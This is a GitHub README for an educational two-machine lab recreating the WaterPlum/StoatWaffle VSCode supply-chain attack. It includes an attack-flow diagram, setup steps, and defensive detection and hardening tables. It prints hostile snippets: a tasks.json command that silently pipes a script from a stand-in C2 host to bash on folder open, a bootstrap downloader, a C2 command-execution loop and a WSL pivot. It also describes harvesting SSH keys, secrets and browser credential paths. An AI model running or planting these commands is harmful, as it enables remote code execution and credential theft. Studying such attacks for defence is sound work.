Skip to content

Cyber-30/StoatWaffle-lab

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

35 Commits
 
 
 
 
 
 
 
 

Repository files navigation

🐾 StoatWaffle Lab — VSCode Supply Chain Attack Simulation

Educational recreation of the WaterPlum / StoatWaffle attack chain for security research and awareness.

Lab Platform Language Purpose


⚠️ Disclaimer

This repository is strictly for educational and research purposes. All scripts use dummy credential files — no real credentials are harvested. Run only in an isolated lab environment (VirtualBox / VMware). The author is not responsible for any misuse of this material. Do NOT deploy on any system you do not own.


📖 Background

In March 2026, researchers at NTT Security documented a new campaign by WaterPlum — a North Korea-linked threat group — deploying a newly identified modular malware called StoatWaffle through a Visual Studio Code supply chain attack.

The attack targeted developers with blockchain-themed decoy repositories. It marked a significant evolution from WaterPlum's earlier Contagious Interview operation, which previously used OtterCookie malware.

This lab recreates the core components of that attack chain in a safe, controlled environment — using dummy files and LAN infrastructure — to help security researchers and developers understand exactly how the attack works.

Key realism factor: Nothing pre-exists on the victim machine. All implant scripts are downloaded live from the attacker's file server at runtime — exactly how StoatWaffle's vscode-bootstrap.cmd operated via Vercel.


🎯 What This Lab Covers

# Component What It Simulates
1 VSCode tasks.json auto-execution Initial access via runOn: folderOpen
2 bootstrap.sh download stage Simulates vscode-bootstrap.cmd fetching from Vercel
3 C2 polling mechanism Implant checking in every 5 seconds
4 Two-way result exfiltration Command execution + output sent back to C2
5 Environment fingerprinting OS, user, RAM, network, WSL detection
6 Installed software inventory Security tools, dev tools, SSH keys, env secrets
7 Browser credential path discovery Locating Chrome/Firefox credential databases
8 Temp directory staging Random hex dir creation + manifest generation
9 C2 file upload Staged files sent to attacker machine

🔄 Attack Flow

┌─────────────────────────────────────────────────────────────────┐
│                        VICTIM MACHINE                           │
│                                                                 │
│  1. Developer clones fake blockchain repo                       │
│  2. Opens folder in VSCode                                      │
│  3. Clicks "Allow" on workspace trust prompt                    │
│  4. tasks.json fires ONE command:                               │
│     curl http://ATTACKER:8081/bootstrap.sh | bash               │
│                                                                 │
│  bootstrap.sh runs automatically:                               │
│  ├── Checks Node.js → installs if missing (official source)     │
│  ├── Downloads all implant scripts from attacker file server    │
│  ├── Creates dummy credential files                             │
│  └── Executes chain.sh silently in background                   │
│                                                                 │
│  chain.sh runs:                                                 │
│  ├── implant.js      → polls C2 every 5s                        │
│  ├── fingerprint.js  → OS, user, RAM, network info              │
│  ├── inventory.js    → installed tools, SSH keys, env secrets   │
│  ├── browser_discovery.js → Chrome/Firefox credential paths    │
│  ├── staging.js      → copies files to random /tmp/hex_dir/     │
│  └── uploader.js     → POSTs all files to C2                    │
└──────────────────────────────┬──────────────────────────────────┘
                               │  HTTP
                               ▼
┌─────────────────────────────────────────────────────────────────┐
│                       ATTACKER MACHINE (Kali)                   │
│                                                                 │
│  File Server (port 8081):                                       │
│  └── Serves bootstrap.sh + all implant scripts on demand       │
│                                                                 │
│  C2 Server (port 8080):                                         │
│  ├── GET  /api/errorMessage   → delivers command to implant     │
│  ├── POST /api/hsocketResult  → receives command output         │
│  ├── POST /api/manifest       → receives file inventory         │
│  └── POST /api/upload         → receives and saves staged files │
│                                                                 │
│  ~/lab-c2/received/                                             │
│  └── hostname__user__filename (exfiltrated files)               │
└─────────────────────────────────────────────────────────────────┘

🗂️ Repository Structure

stoatwaffle-lab/
│
├── README.md
├── LICENSE
│
├── victim/                          # Runs on victim machine
│   ├── .vscode/
│   │   └── tasks.json               # Auto-execution trigger (curl bootstrap)
│   └── run.sh                       # Stage 1 — basic PoC
│
├── attacker/                        # Runs on attacker machine (Kali)
│   ├── c2_server.py                 # Python C2 server (port 8080)
│   └── serve/                       # File server directory (port 8081)
│       ├── bootstrap.sh             # First stage downloader (Vercel equivalent)
│       ├── chain.sh                 # Full attack chain orchestrator
│       ├── implant.js               # C2 polling + RAT loop
│       ├── fingerprint.js           # OS/environment fingerprinting
│       ├── inventory.js             # Installed software enumeration
│       ├── browser_discovery.js     # Browser credential path mapping
│       ├── staging.js               # File staging in random temp dir
│       └── uploader.js              # C2 file exfiltration

🛠️ Lab Setup

Requirements

Victim Machine:

  • Ubuntu 20.04+ (or any Debian-based Linux)
  • Visual Studio Code
  • curl

Attacker Machine:

  • Kali Linux (VM recommended)
  • Python 3.x
  • Network connectivity to victim (bridged adapter)

Node.js is not required on the victim machine beforehand — bootstrap.sh checks and installs it automatically if missing, exactly like the real attack.


Network Configuration

Victim  (Ubuntu) → YOUR_VICTIM_IP
Attacker (Kali)  → YOUR_C2_IP
Network          → Bridged adapter (same subnet)

Test connectivity:

ping -c 3 YOUR_C2_IP

Configuration

Before running, update the following in each file:

File Variable Replace With
attacker/serve/bootstrap.sh YOUR_C2_IP Your Kali VM IP
attacker/serve/implant.js YOUR_C2_IP Your Kali VM IP
attacker/serve/uploader.js YOUR_C2_IP Your Kali VM IP
attacker/serve/chain.sh YOUR_C2_IP Your Kali VM IP
attacker/c2_server.py YOUR_VICTIM_IP Your Ubuntu IP
victim/.vscode/tasks.json YOUR_C2_IP Your Kali VM IP

🚀 Running the Lab

Step 1 — Start C2 Server on Kali (port 8080)

mkdir -p ~/lab-c2/received
python3 attacker/c2_server.py

Expected output:

[C2] Attacker server running on 0.0.0.0:8080
[C2] Saving exfiltrated files to ~/lab-c2/received

Step 2 — Start File Server on Kali (port 8081)

Open a second terminal on Kali:

cd attacker/serve
python3 -m http.server 8081

Expected output:

Serving HTTP on 0.0.0.0 port 8081 ...

Step 3 — Trigger the Attack (VSCode on Ubuntu)

Close VSCode completely, then open the victim folder:

pkill -f code
code victim/

When prompted "This workspace has tasks defined that can launch processes automatically" — click Allow.

tasks.json fires a single curl command that downloads and executes bootstrap.sh from Kali. Everything else happens automatically — nothing was pre-installed on the victim machine.


Step 4 — Monitor Results

On victim machine — watch bootstrap log:

watch -n 2 cat /tmp/bootstrap.log

On Kali file server — watch scripts being downloaded:

GET /bootstrap.sh
GET /implant.js
GET /fingerprint.js
...

On Kali — watch received files:

watch -n 2 ls -la ~/lab-c2/received/

Step 5 — View Exfiltrated Files

ls ~/lab-c2/received/
cat ~/lab-c2/received/*

Files arrive in format:

hostname__username__filename

🧩 Component Deep Dive

1. tasks.json — The Entry Point

"command": "curl -s http://YOUR_C2_IP:8081/bootstrap.sh | bash",
"runOptions": { "runOn": "folderOpen" },
"presentation": { "reveal": "never" }
  • runOn: folderOpen — executes automatically when folder is opened
  • reveal: never — hides terminal, making execution completely silent
  • Single curl command — minimal footprint in the config file
  • No vulnerability exploited — legitimate VSCode feature abused

2. bootstrap.sh — First Stage Downloader

Simulates StoatWaffle's vscode-bootstrap.cmd delivered via Vercel:

# Check Node.js — install from official source if missing (no AV flags)
if ! command -v node; then
    sudo apt install nodejs npm -y
fi

# Download all implant scripts from attacker file server
for script in implant.js fingerprint.js inventory.js ...; do
    curl -s "$FILE_SERVER/$script" -o "$LAB/$script"
done

# Execute chain silently in background
bash $LAB/chain.sh &

Key insight: Node.js installed from the official apt repository — completely clean, no AV alerts. This is exactly how StoatWaffle avoided detection.


3. implant.js — C2 Polling Loop

Implant → GET /api/errorMessage  (every 5 seconds)
C2      → {"cmd": "whoami && hostname && id"}
Implant → exec(cmd)
Implant → POST /api/hsocketResult (output)
C2      → logs result

Mirrors StoatWaffle's exact polling pattern. Runs as a background process — survives terminal closure via &.


4. fingerprint.js — WSL Detection & Pivot

Key feature that made StoatWaffle technically notable:

// Reads /proc/version to detect WSL
const version = fs.readFileSync("/proc/version", "utf8").toLowerCase();
if (version.includes("microsoft") || version.includes("wsl")) {
    // Use wslpath to pivot into Windows filesystem from Linux process
    exec("wslpath $(cmd.exe /c 'echo %USERPROFILE%')");
}

If running under WSL → accesses Windows AppData from a Linux Node.js process. Complicates EDR detection significantly.


5. inventory.js — Target Profiling

Enumerates installed packages via dpkg and categorizes:

  • Security tools → wireshark, gdb, ida, nmap, metasploit...
  • DevOps tools → docker, kubectl, terraform, aws, gcloud...
  • Crypto wallets → metamask, exodus, electrum...
  • SSH keys~/.ssh/ contents
  • Env secrets → environment variables containing token/key/secret

A machine with security tools + cloud CLI + SSH keys = top priority target.


6. staging.js — Random Temp Directory

const randName = crypto.randomBytes(8).toString("hex");
// Creates /tmp/a3f9c21b84d70e56/ — unpredictable path

Randomized directory name makes forensic discovery harder. Generates manifest.json with full file inventory before upload.


🛡️ Detection & Defense

Attack Component Detection Method
tasks.json auto-exec Monitor VSCode workspace trust events; audit .vscode/tasks.json before trusting any repo
curl | bash pattern EDR rule on shell processes spawned by VSCode executing curl piped to bash
Unexpected Node.js install Auditd rule on apt install nodejs in dev environments
C2 polling pattern Network rule — repeated HTTP GET to same endpoint every 5s
Random temp dir creation Inotify watch on /tmp for new dirs followed by immediate file copies
Credential file access Auditd rule on reads of Login Data, Cookies, key4.db
Outbound POST with files DLP rule on HTTP POST containing JSON with file content
Background Node.js process Process monitoring for node spawned by code (VSCode)

VSCode Hardening

// settings.json — disable automatic task execution
"task.allowAutomaticTasks": "off"

Always review .vscode/tasks.json before trusting any repository.


📊 Key Takeaways

  1. No vulnerability was exploited — StoatWaffle abused a legitimate VSCode feature
  2. Nothing pre-exists on victim machine — all scripts downloaded live at runtime
  3. Developers are high-value targets — SSH keys, cloud credentials, browser sessions
  4. Node.js from official source = no AV flags, completely clean install
  5. curl | bash is the real threat — one line in tasks.json = full compromise
  6. WSL pivot = Linux process accessing Windows data = EDR blind spot
  7. Session cookies > passwords — cookies bypass 2FA entirely
  8. known_hosts reveals every server ever SSH'd into = lateral movement map

📚 References


👤 Author

Sourya Dutta Cybersecurity Researcher | Penetration Tester | Bug Bounty Hunter


📄 License

MIT License — see LICENSE for details.


Built for the security community. Learn the attack. Build the defense.

About

Educational recreation of the WaterPlum/StoatWaffle VSCode supply chain attack. Full two-machine lab with C2 server, bootstrap downloader, RAT module, browser credential discovery, and file exfiltration. For security research only.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors